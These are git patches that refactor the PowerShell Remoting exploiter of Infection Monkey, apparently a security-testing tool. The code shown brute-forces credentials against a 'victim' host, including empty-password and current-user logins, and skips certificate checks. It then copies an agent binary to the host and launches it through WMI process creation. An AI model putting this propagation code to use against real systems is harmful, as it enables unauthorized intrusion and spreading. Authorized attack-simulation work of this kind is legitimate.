.../exploit/powershell_utils/auth_options.py | 7 +++ .../auth_options_generators.py | 23 ++++---- .../exploit/powershell_utils/utils.py | 13 +---- .../test_auth_options_generators.py | 54 ++++++++++++++++--- 5 files changed, 80 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 9069406f8..3acc683a7 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -13,7 +13,11 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options import ( + AUTH_NEGOTIATE, + ENCRYPTION_AUTO, + AuthOptions, +) from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.exploit.powershell_utils.credentials import Credentials @@ -96,6 +100,8 @@ class PowerShellExploiter(HostExploiter): password=self._config.exploit_password_list[0], ) auth_options = AuthOptions( + auth_type=AUTH_NEGOTIATE, + encryption=ENCRYPTION_AUTO, ssl=False, ) self._authenticate(credentials, auth_options) @@ -106,6 +112,8 @@ class PowerShellExploiter(HostExploiter): password=self._config.exploit_password_list[0], ) auth_options = AuthOptions( + auth_type=AUTH_NEGOTIATE, + encryption=ENCRYPTION_AUTO, ssl=True, ) self._authenticate(credentials, auth_options) diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 5d590d166..50d0e24e5 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,6 +1,13 @@ from dataclasses import dataclass +AUTH_BASIC = "basic" +AUTH_NEGOTIATE = "negotiate" +ENCRYPTION_AUTO = "auto" +ENCRYPTION_NEVER = "never" + @dataclass class AuthOptions: + auth_type: str + encryption: str ssl: bool diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py index 304d798da..178060d9b 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py @@ -1,19 +1,24 @@ from typing import List -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options import ( + AUTH_BASIC, + AUTH_NEGOTIATE, + ENCRYPTION_AUTO, + ENCRYPTION_NEVER, + AuthOptions, +) from infection_monkey.exploit.powershell_utils.credentials import Credentials -def get_auth_options(credentials: List[Credentials], ssl: bool) -> List[AuthOptions]: +def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[AuthOptions]: auth_options = [] - for cred in credentials: - opts = AuthOptions(ssl) + for creds in credentials: + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + ssl = False if creds.password == "" else use_ssl + auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE + encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO - # Passwordless login only works with SSL false - if cred.password == "": - opts.ssl = False - - auth_options.append(opts) + auth_options.append(AuthOptions(auth_type, encryption, ssl)) return auth_options diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index 1b8a92e4c..642394a62 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -22,11 +22,6 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path } -AUTH_BASIC = "basic" -AUTH_NEGOTIATE = "negotiate" -ENCRYPTION_AUTO = "auto" -ENCRYPTION_NEVER = "never" - CONNECTION_TIMEOUT = 3 # Seconds @@ -38,17 +33,13 @@ class IClient(Protocol): def get_client_based_on_auth_options( ip_addr: str, credentials: Credentials, auth_options: AuthOptions ) -> IClient: - # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - auth = AUTH_NEGOTIATE if credentials.password != "" else AUTH_BASIC - encryption = ENCRYPTION_AUTO if credentials.password != "" else ENCRYPTION_NEVER - return Client( ip_addr, username=credentials.username, password=credentials.password, cert_validation=False, + auth=auth_options.auth_type, + encryption=auth_options.encryption, ssl=auth_options.ssl, - auth=auth, - encryption=encryption, connection_timeout=CONNECTION_TIMEOUT, ) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py index 61a4583a0..7a040d7c8 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py @@ -1,4 +1,10 @@ # from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options import ( + AUTH_BASIC, + AUTH_NEGOTIATE, + ENCRYPTION_AUTO, + ENCRYPTION_NEVER, +) from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credentials import Credentials @@ -10,36 +16,72 @@ CREDENTIALS = [ def test_get_auth_options__ssl_true_with_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=True) + auth_options = get_auth_options(CREDENTIALS, use_ssl=True) assert auth_options[0].ssl def test_get_auth_options__ssl_true_empty_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=True) + auth_options = get_auth_options(CREDENTIALS, use_ssl=True) assert not auth_options[1].ssl def test_get_auth_options__ssl_true_none_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=True) + auth_options = get_auth_options(CREDENTIALS, use_ssl=True) assert auth_options[2].ssl def test_get_auth_options__ssl_false_with_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=False) + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) assert not auth_options[0].ssl def test_get_auth_options__ssl_false_empty_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=False) + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) assert not auth_options[1].ssl def test_get_auth_options__ssl_false_none_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=False) + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) assert not auth_options[2].ssl + + +def test_get_auth_options__auth_type_with_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[0].auth_type == AUTH_NEGOTIATE + + +def test_get_auth_options__auth_type_empty_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[1].auth_type == AUTH_BASIC + + +def test_get_auth_options__auth_type_none_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[2].auth_type == AUTH_NEGOTIATE + + +def test_get_auth_options__encryption_with_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[0].encryption == ENCRYPTION_AUTO + + +def test_get_auth_options__encryption_empty_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[1].encryption == ENCRYPTION_NEVER + + +def test_get_auth_options__encryption_none_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[2].encryption == ENCRYPTION_AUTO From a060313d09f91d3c1661270705b48003584acff7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:33:06 -0400 Subject: [PATCH 114/454] Agent: Move get_auth_options() to auth_options.py --- monkey/infection_monkey/exploit/powershell.py | 2 +- .../exploit/powershell_utils/auth_options.py | 17 +++++++++++++ .../auth_options_generators.py | 24 ------------------- ...ons_generators.py => test_auth_options.py} | 2 +- 4 files changed, 19 insertions(+), 26 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py rename monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/{test_auth_options_generators.py => test_auth_options.py} (96%) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 3acc683a7..1765eaa6e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -17,8 +17,8 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_NEGOTIATE, ENCRYPTION_AUTO, AuthOptions, + get_auth_options, ) -from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.exploit.powershell_utils.utils import ( diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 50d0e24e5..a9c34e2cf 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,4 +1,7 @@ from dataclasses import dataclass +from typing import List + +from infection_monkey.exploit.powershell_utils.credentials import Credentials AUTH_BASIC = "basic" AUTH_NEGOTIATE = "negotiate" @@ -11,3 +14,17 @@ class AuthOptions: auth_type: str encryption: str ssl: bool + + +def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[AuthOptions]: + auth_options = [] + + for creds in credentials: + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + ssl = False if creds.password == "" else use_ssl + auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE + encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO + + auth_options.append(AuthOptions(auth_type, encryption, ssl)) + + return auth_options diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py deleted file mode 100644 index 178060d9b..000000000 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py +++ /dev/null @@ -1,24 +0,0 @@ -from typing import List - -from infection_monkey.exploit.powershell_utils.auth_options import ( - AUTH_BASIC, - AUTH_NEGOTIATE, - ENCRYPTION_AUTO, - ENCRYPTION_NEVER, - AuthOptions, -) -from infection_monkey.exploit.powershell_utils.credentials import Credentials - - -def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[AuthOptions]: - auth_options = [] - - for creds in credentials: - # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - ssl = False if creds.password == "" else use_ssl - auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE - encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO - - auth_options.append(AuthOptions(auth_type, encryption, ssl)) - - return auth_options diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py similarity index 96% rename from monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py rename to monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index 7a040d7c8..0a917adac 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -4,8 +4,8 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_NEGOTIATE, ENCRYPTION_AUTO, ENCRYPTION_NEVER, + get_auth_options, ) -from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credentials import Credentials CREDENTIALS = [ From e6399de860a79cd9ceffc23614ca364243909e12 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:36:36 -0400 Subject: [PATCH 115/454] Agent: Move get_credentials() to credentials.py --- monkey/infection_monkey/exploit/powershell.py | 3 +- .../powershell_utils/credential_generators.py | 41 ------------------- .../exploit/powershell_utils/credentials.py | 40 +++++++++++++++++- ...tial_generators.py => test_credentials.py} | 3 +- 4 files changed, 41 insertions(+), 46 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/powershell_utils/credential_generators.py rename monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/{test_credential_generators.py => test_credentials.py} (93%) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 1765eaa6e..6361165c1 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -19,8 +19,7 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( AuthOptions, get_auth_options, ) -from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials -from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials from infection_monkey.exploit.powershell_utils.utils import ( IClient, get_client_based_on_auth_options, diff --git a/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py b/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py deleted file mode 100644 index 79840a800..000000000 --- a/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py +++ /dev/null @@ -1,41 +0,0 @@ -from itertools import product -from typing import List - -from infection_monkey.exploit.powershell_utils.credentials import Credentials - - -def get_credentials( - usernames: List[str], passwords: List[str], is_windows: bool -) -> List[Credentials]: - credentials = [] - credentials.extend(_get_empty_credentials(is_windows)) - credentials.extend(_get_username_only_credentials(usernames, is_windows)) - credentials.extend(_get_username_password_credentials(usernames, passwords)) - - return credentials - - -def _get_empty_credentials(is_windows: bool) -> List[Credentials]: - if is_windows: - return [Credentials(username=None, password=None)] - - return [] - - -def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: - credentials = [Credentials(username=username, password="") for username in usernames] - - if is_windows: - credentials.extend( - [Credentials(username=username, password=None) for username in usernames] - ) - - return credentials - - -def _get_username_password_credentials( - usernames: List[str], passwords: List[str] -) -> List[Credentials]: - username_password_pairs = product(usernames, passwords) - - return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs] diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index 1a11b3f18..3d09498d7 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -1,8 +1,46 @@ from dataclasses import dataclass -from typing import Union +from itertools import product +from typing import List, Union @dataclass class Credentials: username: Union[str, None] password: Union[str, None] + + +def get_credentials( + usernames: List[str], passwords: List[str], is_windows: bool +) -> List[Credentials]: + credentials = [] + credentials.extend(_get_empty_credentials(is_windows)) + credentials.extend(_get_username_only_credentials(usernames, is_windows)) + credentials.extend(_get_username_password_credentials(usernames, passwords)) + + return credentials + + +def _get_empty_credentials(is_windows: bool) -> List[Credentials]: + if is_windows: + return [Credentials(username=None, password=None)] + + return [] + + +def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: + credentials = [Credentials(username=username, password="") for username in usernames] + + if is_windows: + credentials.extend( + [Credentials(username=username, password=None) for username in usernames] + ) + + return credentials + + +def _get_username_password_credentials( + usernames: List[str], passwords: List[str] +) -> List[Credentials]: + username_password_pairs = product(usernames, passwords) + + return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs] diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py similarity index 93% rename from monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py rename to monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py index 7c41827ab..f1913169c 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py @@ -1,5 +1,4 @@ -from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials -from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials TEST_USERNAMES = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] From d30a8b007a8c7aac60b93d7fb5abb0f47bb9004c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:48:13 -0400 Subject: [PATCH 116/454] Agent: Add comment explaining user/password == None in PowerShell --- .../infection_monkey/exploit/powershell_utils/credentials.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index 3d09498d7..a04d9f395 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -20,6 +20,8 @@ def get_credentials( return credentials +# On Windows systems, when username == None and password == None, the current user's credentials +# will be used to attempt to log into the victim. def _get_empty_credentials(is_windows: bool) -> List[Credentials]: if is_windows: return [Credentials(username=None, password=None)] @@ -27,6 +29,8 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]: return [] +# On Windows systems, when password == None, the current user's password will bu used to attempt to +# log into the victim. def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: credentials = [Credentials(username=username, password="") for username in usernames] From 61c6bf2567c7879a7760886bda0daf319c7750ec Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:52:55 -0400 Subject: [PATCH 117/454] Agent: Reduce code duplication in _try_http(s)() methods --- monkey/infection_monkey/exploit/powershell.py | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6361165c1..26d01be8e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -94,27 +94,23 @@ class PowerShellExploiter(HostExploiter): raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") def _try_http(self): - credentials = Credentials( - username=self._config.exploit_user_list[0], - password=self._config.exploit_password_list[0], - ) - auth_options = AuthOptions( - auth_type=AUTH_NEGOTIATE, - encryption=ENCRYPTION_AUTO, - ssl=False, - ) - self._authenticate(credentials, auth_options) + self._try_ssl_login(self, use_ssl=False) def _try_https(self): + self._try_ssl_login(self, use_ssl=True) + + def _try_ssl_login(self, use_ssl: bool): credentials = Credentials( username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], ) + auth_options = AuthOptions( auth_type=AUTH_NEGOTIATE, encryption=ENCRYPTION_AUTO, - ssl=True, + ssl=use_ssl, ) + self._authenticate(credentials, auth_options) def _authenticate_via_brute_force( From c9e54412c05f9f21e9b4d169e08e19e6ba710491 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:53:45 -0400 Subject: [PATCH 118/454] Agent: Use dummy username and password when testing PowerShell HTTP The exploit_user_list and exploit_password_list are not guaranteed to have at least one entry. If either list is empty the exploiter will fail. Use constant strings for the username and password to avoid potentially crashing the exploiter. --- monkey/infection_monkey/exploit/powershell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 26d01be8e..ab35d71e0 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -101,8 +101,8 @@ class PowerShellExploiter(HostExploiter): def _try_ssl_login(self, use_ssl: bool): credentials = Credentials( - username=self._config.exploit_user_list[0], - password=self._config.exploit_password_list[0], + username="dummy_username", + password="dummy_password", ) auth_options = AuthOptions( From a5af16e44ef87d61b1aaea82132a5215b009179e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 16:51:21 -0400 Subject: [PATCH 119/454] Agent: Extract PowerShellClient from PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 113 ++++++------------ .../powershell_utils/powershell_client.py | 99 +++++++++++++++ .../exploit/powershell_utils/utils.py | 28 ----- 3 files changed, 137 insertions(+), 103 deletions(-) create mode 100644 monkey/infection_monkey/exploit/powershell_utils/powershell_client.py diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index ab35d71e0..c9835566e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,16 +1,10 @@ import logging import os -from typing import Optional, Union - -import pypsrp -import spnego -from pypsrp.exceptions import AuthenticationError -from pypsrp.powershell import PowerShell, RunspacePool -from urllib3 import connectionpool +from typing import List, Optional import infection_monkey.monkeyfs as monkeyfs from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 +from infection_monkey.exploit.consts import WIN_ARCH_32 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import ( @@ -20,15 +14,16 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( get_auth_options, ) from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials -from infection_monkey.exploit.powershell_utils.utils import ( - IClient, - get_client_based_on_auth_options, +from infection_monkey.exploit.powershell_utils.powershell_client import ( + AuthenticationError, + IPowerShellClient, + PowerShellClient, ) from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os -from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost +from infection_monkey.model import VictimHost from infection_monkey.utils.environment import is_windows_os -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" @@ -43,17 +38,8 @@ class PowerShellExploiter(HostExploiter): _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" def __init__(self, host: VictimHost): - PowerShellExploiter._set_sensitive_packages_log_level_to_error() - super().__init__(host) - self.client = None - - @staticmethod - def _set_sensitive_packages_log_level_to_error(): - # If root logger is inherited, extensive and potentially sensitive info could be logged - sensitive_packages = [pypsrp, spnego, connectionpool] - for package in sensitive_packages: - logging.getLogger(package.__name__).setLevel(logging.ERROR) + self._client = None def _exploit_host(self): try: @@ -67,8 +53,8 @@ class PowerShellExploiter(HostExploiter): ) auth_options = get_auth_options(credentials, is_https) - self.client = self._authenticate_via_brute_force(credentials, auth_options) - if not self.client: + self._client = self._authenticate_via_brute_force(credentials, auth_options) + if not self._client: return False return self._execute_monkey_agent_on_victim() @@ -94,10 +80,10 @@ class PowerShellExploiter(HostExploiter): raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") def _try_http(self): - self._try_ssl_login(self, use_ssl=False) + self._try_ssl_login(use_ssl=False) def _try_https(self): - self._try_ssl_login(self, use_ssl=True) + self._try_ssl_login(use_ssl=True) def _try_ssl_login(self, use_ssl: bool): credentials = Credentials( @@ -111,16 +97,16 @@ class PowerShellExploiter(HostExploiter): ssl=use_ssl, ) - self._authenticate(credentials, auth_options) + PowerShellClient(self.host.ip_addr, credentials, auth_options) def _authenticate_via_brute_force( - self, credentials: [Credentials], auth_options: [AuthOptions] - ) -> Optional[IClient]: + self, credentials: List[Credentials], auth_options: List[AuthOptions] + ) -> Optional[IPowerShellClient]: for (creds, opts) in zip(credentials, auth_options): try: - client = self._authenticate(creds, opts) + client = PowerShellClient(self.host.ip_addr, creds, opts) - LOG.info( + logger.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"{creds.username}" ) @@ -128,7 +114,7 @@ class PowerShellExploiter(HostExploiter): return client except Exception as ex: # noqa: F841 - LOG.debug( + logger.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " f"{creds.username}, Error: {ex}" ) @@ -136,44 +122,38 @@ class PowerShellExploiter(HostExploiter): return None - def _authenticate(self, credentials: Credentials, auth_options: AuthOptions) -> IClient: - client = get_client_based_on_auth_options(self.host.ip_addr, credentials, auth_options) - - # attempt to execute dir command to know if authentication was successful - client.execute_cmd("dir") - - return client - def _execute_monkey_agent_on_victim(self) -> bool: - arch = self._get_host_arch() + arch = self._client.get_host_architecture() self.is_32bit = arch == WIN_ARCH_32 - - self._write_virtual_file_to_local_path() + logger.debug(f"Host architecture is {arch}") monkey_path_on_victim = ( self._config.dropper_target_path_win_32 if self.is_32bit else self._config.dropper_target_path_win_64 ) - is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim) + is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim) if is_monkey_copy_successful: + logger.info("Successfully copied the monkey binary to the victim.") self._run_monkey_executable_on_victim(monkey_path_on_victim) else: + logger.error("Failed to copy the monkey binary to the victim.") return False return True - def _get_host_arch(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: - output = self._execute_cmd_on_host(GET_ARCH_WINDOWS) - if "64-bit" in output: - return WIN_ARCH_64 - else: - return WIN_ARCH_32 + def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool: + self._write_virtual_file_to_local_path() - def _execute_cmd_on_host(self, cmd: str) -> str: - output, _, _ = self.client.execute_cmd(cmd) - return output + logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") + is_monkey_copy_successful = self._client.copy_file( + TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim + ) + + os.remove(TEMP_MONKEY_BINARY_FILEPATH) + + return is_monkey_copy_successful def _write_virtual_file_to_local_path(self) -> None: monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit) @@ -182,30 +162,13 @@ class PowerShellExploiter(HostExploiter): with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: monkey_local_file.write(monkey_virtual_file.read()) - def _copy_monkey_binary_to_victim(self, dest: str) -> bool: - LOG.debug(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") - try: - self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, dest) - LOG.info(f"Successfully copied the monkey agent binary to {self.host.ip_addr}") - return True - except Exception as ex: - LOG.error(f"Failed to copy the monkey agent binary to {self.host.ip_addr}: {ex}") - return False - finally: - os.remove(TEMP_MONKEY_BINARY_FILEPATH) - def _run_monkey_executable_on_victim(self, executable_path) -> None: monkey_execution_command = utils.build_monkey_execution_command( self.host, get_monkey_depth() - 1, executable_path ) - LOG.debug( - f"Attempting to execute the monkey agent on remote host " - f'{self.host.ip_addr} with commmand "{monkey_execution_command}"' + logger.info( + f"Attempting to execute the monkey agent on remote host " f"{self.host.ip_addr}" ) - with self.client.wsman, RunspacePool(self.client.wsman) as pool: - ps = PowerShell(pool) - ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( - "name", "create" - ).add_parameter("ArgumentList", monkey_execution_command) - ps.invoke() + + self._client.execute_cmd_as_detached_process(monkey_execution_command) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py new file mode 100644 index 000000000..7f0b548b1 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -0,0 +1,99 @@ +import abc +import logging +from typing import Union + +import pypsrp +import spnego +from pypsrp.client import Client +from pypsrp.exceptions import AuthenticationError # noqa: F401 +from pypsrp.powershell import PowerShell, RunspacePool +from typing_extensions import Protocol +from urllib3 import connectionpool + +from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.model import GET_ARCH_WINDOWS + +logger = logging.getLogger(__name__) + +CONNECTION_TIMEOUT = 3 # Seconds + + +def _set_sensitive_packages_log_level_to_error(): + # If root logger is inherited, extensive and potentially sensitive info could be logged + sensitive_packages = [pypsrp, spnego, connectionpool] + for package in sensitive_packages: + logging.getLogger(package.__name__).setLevel(logging.ERROR) + + +class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): + @abc.abstractmethod + def execute_cmd(self, cmd: str) -> str: + pass + + @abc.abstractmethod + def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: + pass + + @abc.abstractmethod + def copy_file(self, src: str, dest: str) -> bool: + pass + + @abc.abstractmethod + def execute_cmd_as_detached_process(self, cmd: str): + pass + + +class PowerShellClient(IPowerShellClient): + def __init__(self, ip_addr, credentials: Credentials, auth_options: AuthOptions): + _set_sensitive_packages_log_level_to_error() + + self._ip_addr = ip_addr + self._client = Client( + ip_addr, + username=credentials.username, + password=credentials.password, + cert_validation=False, + auth=auth_options.auth_type, + encryption=auth_options.encryption, + ssl=auth_options.ssl, + connection_timeout=CONNECTION_TIMEOUT, + ) + + # attempt to execute dir command to know if authentication was successful + self.execute_cmd("dir") + + def execute_cmd(self, cmd: str) -> str: + output, _, _ = self._client.execute_cmd(cmd) + return output + + def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: + output = self._client.execute_cmd(GET_ARCH_WINDOWS) + if "64-bit" in output: + return WIN_ARCH_64 + + return WIN_ARCH_32 + + def copy_file(self, src: str, dest: str) -> bool: + try: + self._client.copy(src, dest) + logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") + + return True + except Exception as ex: + logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}") + + return False + + def execute_cmd_as_detached_process(self, cmd: str): + logger.debug( + f"Attempting to execute a command on the remote host as a detached process - " + 